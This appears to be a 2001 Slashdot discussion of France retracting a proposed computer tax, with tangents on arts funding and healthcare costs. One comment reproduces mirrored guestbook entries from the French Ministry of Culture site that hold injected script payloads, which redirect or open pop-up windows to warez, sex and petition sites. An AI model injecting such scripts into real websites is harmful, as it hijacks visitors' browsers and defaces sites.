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France Retracts Computer Tax Proposal
ovidus naso writes " Minister Tasca decided not to go forward with her computer tax project. My impression is that this was just political play (her strongest enemies are fellow socialists, naturally!).
The Liberation is carrying the story with the retracation. " As always with non-fluent speakers, the fish is your friend. Remember: You get a twofold benefit with Babelfish: The translation to the story to get the main gist of the story, and the actual translation has so many laughable areas, you have an entry to a bad poetry competition.
The BBC produces popular content too, not just high-brow stuff. Oddly enough, skimpily clad girls are popular here.
"The question of whether machines can think is no more interesting than [] whether submarines can swim" - Dijkstra
The prime minister and minister of finances called her proposal 'stupid'. She got bitchslapped big time. There's some hope.
My guess is that she's on a hotseat now. Some lobbying should get her out ... soon. Now we have to get that tax off CDRs, and that's what happening at Vache à Lait ('Milk the Cow')
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You underestimate how extensive the public support of the arts in Europe actually is. Plenty of public money goes to the arts there, and with good results.
1) It is necessary some more to dismount Catherine Tasca.
2) A boob... summarized well here the general feeling on the left.
3)" We fell from naked ", slipped one in Bercy.
What was this supposed to be about again?
Yes, because the money could have been used for some software that enough people wanted. Forcibly extracting money from people to pay for something that they won't voluntarily pay for also stops them from voluntarily paying for something they want *more*.
In general, forcing people to do things makes them worse off.
-russ
Don't piss off The Angry Economist
"We don't intend to tax computers" were the 'firehose' words with which Catherine Tasca(PS) doused the hemicycle (the House) during the question period -- thrice. As a fireman, intent on drowning the Opposition turned pyromaniacs: "It's a tactic to shout fire without a blaze!" said the Minister to the smart-alecky right-wingers. "Eating your own words, EH!!! shouted Patrick Devedjian (RPR)
...
... ...
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According to the Socialistes, Mrs Tasca should've kept he mouth shut rather than publically consider a tax on computer and other device susceptible of copying Intellectual Property.
Jean-Marc Ayrault but mostly François Hollande shouted their disagreement, underligning the incoherence of promoting tax cuts while announcing a new one even if not being of a fiscal nature
The computer tax died in order to save government consistency.
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... alas, the Vogons have already beat them at that.
Extra points if someone can dig up their original H2G2 book and tell me the name of the girl who was the ABSOLUTE worst in the universe.
There may be hope for the French after all!
Don't tell anybody, but I had the "presence d'esprit" to mirror the Guest Book before it went down (When I saw the first javascript windows, I knew it was a matter of hours before the put it offline. I mirrored it at Tue, 16 Jan 2001 15:02:17 +0100, so, if they put it back on-line, I could see what comment have been removed. If they remove comments, I will write a script to re-submit them back :-) )
.yahoo.fr'</script> </a>: (Tue, 16 Jan 2001 14:44:06 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT></a>: </a>: (Tue, 16 Jan 2001 14:20:33 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: </a>: (Tue, 16 Jan 2001 13:44:57 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: </a>: (Tue, 16 Jan 2001 13:41:05 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT> </a>: (Tue, 16 Jan 2001 13:39:20 +0100)
b ar=1,scrollbars=1,resizable=1,width=800,height=600 ");</SCRIPT><A HREF="http://www.vachealait.com">Signez la pÈtition </a>: (Tue, 16 Jan 2001 13:04:59 +0100)
Anyway here are the 'javascript' url that visitors of this higly cultural site had popping over their screen. Napster, warez, sex. Usual cultural stuff.
: <script language="Javascript">parent.location.href='htt p://www.easywarez.com'</script> </a>: (Tue, 16 Jan 2001 15:02:17 +0100)
louolou: <script language="Javascript">parent.location.href='htt p://www.culture.fr/PF/Pro jects/LIVREDOR'</script> </a>: (Tue, 16 Jan 2001 14:57:49 +0100)
>*********: Vache lait <script language="Javascript">parent.location.href='htt p://www.vachealait.com'</script> : tous ccontre cette taxe injuste ! </a>: (Tue, 16 Jan 2001 14:52:17 +0100)
**********: Vache lait <script language="Javascript">parent.location.href='htt p://www.vachealait.com'</script> </a>: (Tue, 16 Jan 2001 14:50:25 +0100)
sdfsdfdsf: <script language="Javascript">parent.location.href='htt p://www.yahoo.fr'</script> </a>: (Tue, 16 Jan 2001 14:45:09 +0100)
dfgdfgdf: <script language="Javascript">parent.location.href='www
G.W. Bush: !!!! TOUT EST LEGAL !!!!</a><script>setTimeout("parent.loc ation.href='http://www.n apster.com'",5000);</script><noscript> </a>: (Tue, 16 Jan 2001 14:37:42 +0100)
Jospine: pas bien</a><script>parent.location.href=" http://www.napster.com";</script><noscrip t> </a>: (Tue, 16 Jan 2001 14:26:04 +0100)
toto: : sex!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.s ex.com", "warez", "toolbar=0,location=0,directories=0,status=0,menu
: non la taxe</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.l e-pere-noel.fr.st/", "warez2", "toolbar=0,location=0,directories=0,status=0,menu
: warez!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.g amecopyworld.com" , "warez", "toolbar=0,location=0,directories=0,status=0,menu
: warez!!!!</A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.g amecopyworld.com ", "Tasca_Payer", "toolbar=0,location=0,directories=0,status=0,menu
Signons !: </A><SCRIPT LANGUAGE="JavaScript">window.open("http://www.v achealait.com", "Tasca_Payer", "toolbar=0,location=0,directories=0,status=0,menu
('*******' mark a name I removed. I didn't included non javascript entries. I put all the entries, so it isn't really readable) I don't know if I should put the mirror somewhere, as it may easily be misused (there are the IPs of the posters) and I don't feel the right to edit it. Mmm.
Cheers,
--fred
1 reply beneath your current threshold.
This is an ominous sign. Of course they didn't expect it to be accepted, the first time. What this does, however, is build the expectation and acceptance of increasing taxation and enlargement of the list of things the government can meddle in. They're not taxing, which is good, but people have accepted the premise that they could, if they wanted to.
I want to delete my account but Slashdot doesn't allow it.
Sometimes, you have to love the fish...
It is necessary some more to dismount Catherine Tasca.....A boob, that is only assumed.....We fell from naked....
It's almost a haiku.
"Isn't that the sweetest little well-balanced undergraduate-level philosophy of life."
> But I've often wondered about this: if we have super-cool super-hero Captain America, does Lithuania have Captain Lithuania? And more importantly, does France have Captain France? Would Captain France wear some black & white striped shirt & an aerodynamic beret? Would his main weapon be a day old baguette?
Yes, we have SuperDupont. I don't know exactly who is Captain America, and what is the mood of his adventure, but SuperDupont is (was, it's now old) a funny read. Ironic, caricatural and wholly stupid.
sigmentation fault
I just wanna ask the question: Would this been so bad if the money went back to free software projects that needs a push or software that has an audience so small it could never be developed for sale?
Employee of Inrupt, Project Release Manager and Community Manager for Solid
The US health care system spends twice as much as the Canadian system per-capita. You'd expect it to be more capable, especially as a substantial proportion of US citizens aren't covered at all. However, for the most part, both systems cover the vast majority of their citizens needs. It would not be accurate to say that the US system treats twice as many patients per dollar, or twice as many ailments.
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You are not alone. This is not normal. None of this is normal.
Is the extra expense worth spending? Probably. The day may yet come that someone can put a figure on how much a fully comprehensive healthcare system would require to fund, but that day has not come yet.
Nonetheless, I'm going back to my original point. If you measure a healthcare system by its efficiency, the Canadians unarguably have a more efficient healthcare system than those south of the border. Dollar-for-dollar, it treats more patients.
It's like arguing that a Pentium 450 is better than a Pentium 400. It may well be, but if the Pentium 450 based computer costs twice as much as the 400 based machine, clearly the 400 is more cost effective. (And, to continue the analogy, many would argue that the 450 may run several apps than the 400, and so should be bought anyway. I wouldn't argue. But in terms of cost effectiveness, or cost efficiency, the 400 is clearly the bargain)
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You are not alone. This is not normal. None of this is normal.
The Guest Book of the 'Ministere de la Culture' (www.culture.fr) have been spammed a lot yesterday. People discovered that HTML tags were not parsed from the names, and started putting javascript in their names that opened various browser window to anti-tax sites. Was pretty funny while it lasted. Then someone made a syntax error in its name and the page stopped loading. So the webmaster decided to put it offline (or, more likely, was just waiting for something like that so they could put it offline).
The Guest Book of the 'Ministere de la Culture' (www.culture.fr) have been spammed a lot yesterday. People discovered that HTML tags were not parsed from the names, and started putting javascript in their names that opened various browser window to anti-tax sites. Was pretty funny while it lasted. Then someone made a syntax error in its name and the page stopped loading.
So the webmaster decided to put it offline (or, more likely, was just waiting for something like that so they could put it offline).
Cheers,
--fred
1 reply beneath your current threshold.
From what I recall, one of the arguments used to justify the auction system that was used was that the BBC, in total, earned about 50% more in revenues (from the licence fee and from overseas sales) than the ITV network. However, the ITV network put on one TV station (per locality.) By contrast, the BBC put on two TV stations, one of which contained a significant amount of regional content (at least as much as ITV.) It also funded 4 national radio stations, and a network of local radio stations. And a world reknowned symphony orchestra to boot.
It doesn't always work that way of course, but it certainly is possible for an institution answerable to government and funded by a government scheme to be more efficient than equivalent private enterprises.
Health services tend to be another example, though it's often difficult to tell whether private systems tend to spend more and get less in return because overall they have more funding and so a willingless to spend money on vanity schemes. The US spends twice as much as Canada per capita, but the health system in Canada is generally regarded as as adequate as the US except in a relatively small number of areas.
Agreed.--
You are not alone. This is not normal. None of this is normal.
Well, this not happening is a *really* good thing. But since last week, we (french) already have something like 3FF (about 50 cents) tax per blank CD... for me who only burns Linux & BSD distros, this almost doubles the price of my CDs :-( and all that extra money goes mainly to music companies and producers...
Aaaahhh french laws... did I mention we're still not supposed to even *use* openssh?
-- Life wasn't meant to be easy...